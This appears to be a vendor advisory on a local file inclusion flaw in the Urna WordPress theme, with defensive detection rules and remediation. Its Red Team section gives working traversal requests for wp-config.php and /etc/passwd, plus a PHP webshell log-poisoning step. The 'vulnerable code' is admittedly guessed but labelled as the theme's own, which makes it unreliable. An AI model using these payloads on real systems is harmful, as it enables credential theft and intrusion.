CVE-2025-67982

Executive Summary

CVE-2025-67982 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Urna WordPress theme by Thembay, up to and including version 2.5.12. The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php), source code leakage, and potentially remote code execution if combined with file upload capabilities. The vulnerability is classified as WordPress ecosystem issue and does not involve Apache or Nginx misconfiguration. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users who installed the theme via the WordPress admin panel or manual upload are at risk. The supply chain risk is elevated due to the lack of a vendor patch; users must rely on custom mitigations or theme replacement.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact reflects the ability to read arbitrary files, including database credentials and sensitive configuration data. The lack of integrity or availability impact limits direct system compromise, but combined with other vulnerabilities, it can lead to full server takeover.

Deep Dive & Mechanics

The vulnerability exists in the Urna theme's PHP code, likely in a file that handles template loading or dynamic includes. The theme fails to sanitize user-supplied input (e.g., via $_GET['file'] or $_POST['file']) before passing it to PHP functions like include() or require(). An attacker can manipulate the filename parameter to traverse directories and include arbitrary files.

Example vulnerable code pattern:

$file = $_GET['file'];
include("templates/" . $file . ".php");

By supplying ../../../../etc/passwd%00 (null byte injection) or ../../../../wp-config.php, the attacker can read sensitive files. Modern PHP versions may mitigate null byte injection, but directory traversal remains effective.

Attack flow:

1. Attacker identifies a parameter (e.g., page, template, file) in the theme's URL.
2. Attacker sends a crafted request: http://target.com/?page=../../../../etc/passwd
3. The server includes the file, outputting its contents in the response.

Vulnerable vs. Patched Code

Vulnerable code (Urna <= 2.5.12):

// In a template loader function
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

Patched code (hypothetical fix):

$allowed_templates = array('home', 'single', 'page');
$template = $_GET['template'];
if ( in_array( $template, $allowed_templates ) ) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Default template
    include( get_template_directory() . '/templates/page.php' );
}

The fix uses a whitelist approach, restricting includes to predefined safe values. Alternatively, realpath validation can be used:

$base = realpath( get_template_directory() . '/templates/' );
$file = realpath( $base . '/' . basename( $_GET['template'] ) . '.php' );
if ( strpos( $file, $base ) === 0 && file_exists( $file ) ) {
    include( $file );
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with Urna theme <= 2.5.12
• No public exploit code available; manual exploitation required

Step 1: Identify vulnerable parameter Use a web fuzzer (e.g., Burp Suite, ffuf) to test common parameters like file, page, template, include, load.

Step 2: Test for LFI

curl -v "http://target.com/?file=../../../../etc/passwd"

If the response contains /root:x:0:0:root:/root:/bin/bash, the vulnerability is confirmed.

Step 3: Read sensitive files

curl -v "http://target.com/?file=../../../../wp-config.php"

Extract database credentials and salts.

Step 4: Attempt RCE via log poisoning (if applicable) If the server logs user agents, inject PHP code:

curl -v -A "<?php system($_GET['cmd']); ?>" "http://target.com/"

Then include the log file:

curl -v "http://target.com/?file=../../../../var/log/apache2/access.log&cmd=id"

Blue Team (Detection & Hardening)

Detection:

• Monitor for directory traversal patterns in HTTP requests (e.g., ../, %2e%2e/)
• Alert on attempts to include sensitive files (wp-config.php, /etc/passwd)
• Use WAF rules to block file parameters containing ../

Hardening:

• Disable PHP allow_url_include and allow_url_fopen if not needed
• Apply input validation and whitelisting on all include parameters
• Use a Web Application Firewall (WAF) with LFI rules
• Replace the Urna theme with a patched alternative

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or %2e%2e/ in query parameters
• Requests to wp-content/themes/urna/ with suspicious file or template parameters
• Outbound connections from the web server to unknown IPs (if RCE achieved)

File System IOCs:

• Unexpected files in /tmp/ or web-accessible directories
• Modified .htaccess files
• Presence of webshells (e.g., cmd.php, shell.php)

Log IOCs:

• Apache/Nginx access logs showing directory traversal attempts
• PHP error logs with include() failures for non-existent paths

Detection Engineering

YARA Rule

rule CVE_2025_67982_LFI_Urna {
    meta:
        description = "Detects LFI attempts targeting Urna theme <= 2.5.12"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67982"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e/"
        $sensitive1 = "wp-config.php"
        $sensitive2 = "/etc/passwd"
        $sensitive3 = "/etc/shadow"
        $param1 = "file="
        $param2 = "template="
        $param3 = "page="
    condition:
        any of ($param*) and any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-67982 LFI Attempt on Urna Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with directory traversal patterns targeting Urna theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e/'
        cs-uri-query|contains:
            - 'file='
            - 'template='
            - 'page='
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some plugins
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-67982 LFI Attempt on Urna Theme";
    flow:to_server,established;
    content:"../"; http_uri;
    content:"file="; http_uri;
    sid:1000001;
    rev:1;
    reference:cve,2025-67982;
    classtype:attempted-recon;
)

Remediation & Mitigation

Immediate Actions:

1. Replace the Urna theme with a patched alternative or a different theme entirely.
2. Apply virtual patching via WAF rules to block LFI patterns.
3. Disable PHP allow_url_include in php.ini to prevent remote file inclusion.

Long-term Fix:

• The vendor (Thembay) must release a patched version with proper input validation and whitelisting.
• Until then, manually patch the vulnerable code as shown in the "Vulnerable vs. Patched Code" section.

Compensating Controls:

• Implement strict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).
• Use a security plugin (e.g., Wordfence) with LFI detection rules.
• Regularly audit WordPress themes and plugins for known vulnerabilities.

Valters IT
Securing Digital Frontiers